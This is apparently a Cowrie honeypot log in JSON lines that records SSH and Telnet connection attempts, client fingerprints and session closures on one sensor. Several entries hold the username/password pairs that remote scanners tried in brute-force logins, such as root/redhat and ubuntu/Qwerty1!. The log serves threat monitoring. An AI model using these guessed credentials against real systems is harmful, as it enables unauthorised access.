{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:15:07.782932Z","src_ip":"122.168.114.167","session":"096d7f035336","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":55140,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb52504b9626","protocol":"ssh","message":"New connection: 194.59.206.2:55140 (10.17.0.5:22) [session: bb52504b9626]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:15:13.647530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:15:13.652071Z","src_ip":"194.59.206.2","session":"bb52504b9626","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.97.179.160","src_port":59370,"dst_ip":"10.17.0.5","dst_port":22,"session":"26d52dc8b155","protocol":"ssh","message":"New connection: 103.97.179.160:59370 (10.17.0.5:22) [session: 26d52dc8b155]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:15:13.710532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:15:13.715685Z","src_ip":"103.97.179.160","session":"26d52dc8b155","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:15:13.755504Z","src_ip":"194.59.206.2","session":"bb52504b9626","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:15:13.852204Z","src_ip":"194.59.206.2","session":"bb52504b9626","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:15:13.952662Z","src_ip":"103.97.179.160","session":"26d52dc8b155","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Qwerty1!","message":"login attempt [ubuntu/Qwerty1!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:15:14.823925Z","src_ip":"103.97.179.160","session":"26d52dc8b155","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.224.242.7","src_port":35776,"dst_ip":"10.17.0.5","dst_port":23,"session":"a64aff6aba0c","protocol":"telnet","message":"New connection: 109.224.242.7:35776 (10.17.0.5:23) [session: a64aff6aba0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:15:15.757004Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:15:16.036506Z","src_ip":"103.97.179.160","session":"26d52dc8b155","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"redhat","message":"login attempt [root/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:15:16.559524Z","src_ip":"122.168.114.167","session":"096d7f035336","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.4.228.161","src_port":46850,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a79e876f478","protocol":"telnet","message":"New connection: 27.4.228.161:46850 (159.203.135.109:23) [session: 1a79e876f478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:15:19.783141Z"}
{"eventid":"cowrie.session.closed","duration":"14.0","message":"Connection lost after 14.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:15:21.264382Z","src_ip":"122.168.114.167","session":"096d7f035336","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.991514205932617,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:15:31.774513Z","src_ip":"27.4.228.161","session":"1a79e876f478","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"76.127.61.251","src_port":51152,"dst_ip":"10.17.0.5","dst_port":22,"session":"861f8908e1c4","protocol":"ssh","message":"New connection: 76.127.61.251:51152 (10.17.0.5:22) [session: 861f8908e1c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:15:34.608055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:15:34.611778Z","src_ip":"76.127.61.251","session":"861f8908e1c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:15:34.668233Z","src_ip":"76.127.61.251","session":"861f8908e1c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3","message":"login attempt [root/q1w2e3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:15:34.924529Z","src_ip":"76.127.61.251","session":"861f8908e1c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:15:35.986084Z","src_ip":"76.127.61.251","session":"861f8908e1c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":41906,"dst_ip":"159.203.135.109","dst_port":23,"session":"3538fbe861df","protocol":"telnet","message":"New connection: 34.69.118.1:41906 (159.203.135.109:23) [session: 3538fbe861df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:15:36.349591Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":41916,"dst_ip":"159.203.135.109","dst_port":23,"session":"349289630025","protocol":"telnet","message":"New connection: 34.69.118.1:41916 (159.203.135.109:23) [session: 349289630025]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:15:36.449446Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":41918,"dst_ip":"159.203.135.109","dst_port":23,"session":"057274bad8a2","protocol":"telnet","message":"New connection: 34.69.118.1:41918 (159.203.135.109:23) [session: 057274bad8a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:15:36.585243Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":50132,"dst_ip":"159.203.135.109","dst_port":23,"session":"d795424d2fbc","protocol":"telnet","message":"New connection: 34.69.118.1:50132 (159.203.135.109:23) [session: d795424d2fbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:15:39.342733Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":50134,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9f45e0735dd","protocol":"telnet","message":"New connection: 34.69.118.1:50134 (159.203.135.109:23) [session: f9f45e0735dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:15:40.516757Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":50140,"dst_ip":"159.203.135.109","dst_port":23,"session":"632ec61eed00","protocol":"telnet","message":"New connection: 34.69.118.1:50140 (159.203.135.109:23) [session: 632ec61eed00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:15:43.909969Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":50156,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab2e36c24d24","protocol":"telnet","message":"New connection: 34.69.118.1:50156 (159.203.135.109:23) [session: ab2e36c24d24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:15:46.690130Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":42932,"dst_ip":"159.203.135.109","dst_port":22,"session":"84719ec1c4dd","protocol":"ssh","message":"New connection: 122.168.114.167:42932 (159.203.135.109:22) [session: 84719ec1c4dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:15:47.076175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:15:47.080654Z","src_ip":"122.168.114.167","session":"84719ec1c4dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.163.156.190","src_port":59276,"dst_ip":"159.203.135.109","dst_port":22,"session":"6dc3516c1345","protocol":"ssh","message":"New connection: 113.163.156.190:59276 (159.203.135.109:22) [session: 6dc3516c1345]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:15:47.911479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:15:47.916074Z","src_ip":"113.163.156.190","session":"6dc3516c1345","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:15:48.238250Z","src_ip":"113.163.156.190","session":"6dc3516c1345","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"flamengo","message":"login attempt [root/flamengo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:15:49.556447Z","src_ip":"113.163.156.190","session":"6dc3516c1345","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":56353,"dst_ip":"10.17.0.5","dst_port":23,"session":"320065142974","protocol":"telnet","message":"New connection: 49.88.156.34:56353 (10.17.0.5:23) [session: 320065142974]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:15:50.306496Z"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:15:50.880453Z","src_ip":"113.163.156.190","session":"6dc3516c1345","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":50830,"dst_ip":"159.203.135.109","dst_port":23,"session":"af5117ab6750","protocol":"telnet","message":"New connection: 34.69.118.1:50830 (159.203.135.109:23) [session: af5117ab6750]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:15:51.339406Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":50840,"dst_ip":"159.203.135.109","dst_port":23,"session":"812afc669ce5","protocol":"telnet","message":"New connection: 34.69.118.1:50840 (159.203.135.109:23) [session: 812afc669ce5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:15:53.376720Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:15:53.403822Z","src_ip":"122.168.114.167","session":"84719ec1c4dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":50850,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3b6e22b3e90","protocol":"telnet","message":"New connection: 34.69.118.1:50850 (159.203.135.109:23) [session: d3b6e22b3e90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:15:56.092696Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":36668,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8f6e79a194c","protocol":"telnet","message":"New connection: 34.69.118.1:36668 (159.203.135.109:23) [session: d8f6e79a194c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:15:57.436974Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":36676,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a9f1da9d4e6","protocol":"telnet","message":"New connection: 34.69.118.1:36676 (159.203.135.109:23) [session: 2a9f1da9d4e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:15:57.581118Z"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser","message":"login attempt [testuser/testuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:15:59.520725Z","src_ip":"122.168.114.167","session":"84719ec1c4dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":36690,"dst_ip":"159.203.135.109","dst_port":23,"session":"f44956768446","protocol":"telnet","message":"New connection: 34.69.118.1:36690 (159.203.135.109:23) [session: f44956768446]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:00.904621Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":60330,"dst_ip":"159.203.135.109","dst_port":23,"session":"03989a749354","protocol":"telnet","message":"New connection: 185.26.126.47:60330 (159.203.135.109:23) [session: 03989a749354]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:00.927255Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":36694,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c488694980f","protocol":"telnet","message":"New connection: 34.69.118.1:36694 (159.203.135.109:23) [session: 8c488694980f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:02.266927Z"}
{"eventid":"cowrie.session.closed","duration":"16.1","message":"Connection lost after 16.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:03.138130Z","src_ip":"122.168.114.167","session":"84719ec1c4dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":36706,"dst_ip":"159.203.135.109","dst_port":23,"session":"51f1823867f6","protocol":"telnet","message":"New connection: 34.69.118.1:36706 (159.203.135.109:23) [session: 51f1823867f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:04.478873Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":36720,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd926c78228e","protocol":"telnet","message":"New connection: 34.69.118.1:36720 (159.203.135.109:23) [session: fd926c78228e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:06.773285Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":56218,"dst_ip":"159.203.135.109","dst_port":23,"session":"da1890d02a99","protocol":"telnet","message":"New connection: 34.69.118.1:56218 (159.203.135.109:23) [session: da1890d02a99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:07.181225Z"}
{"eventid":"cowrie.session.closed","duration":31.298068046569824,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:07.883224Z","src_ip":"34.69.118.1","session":"057274bad8a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.7479145526886,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:08.197254Z","src_ip":"34.69.118.1","session":"349289630025","protocol":"telnet"}
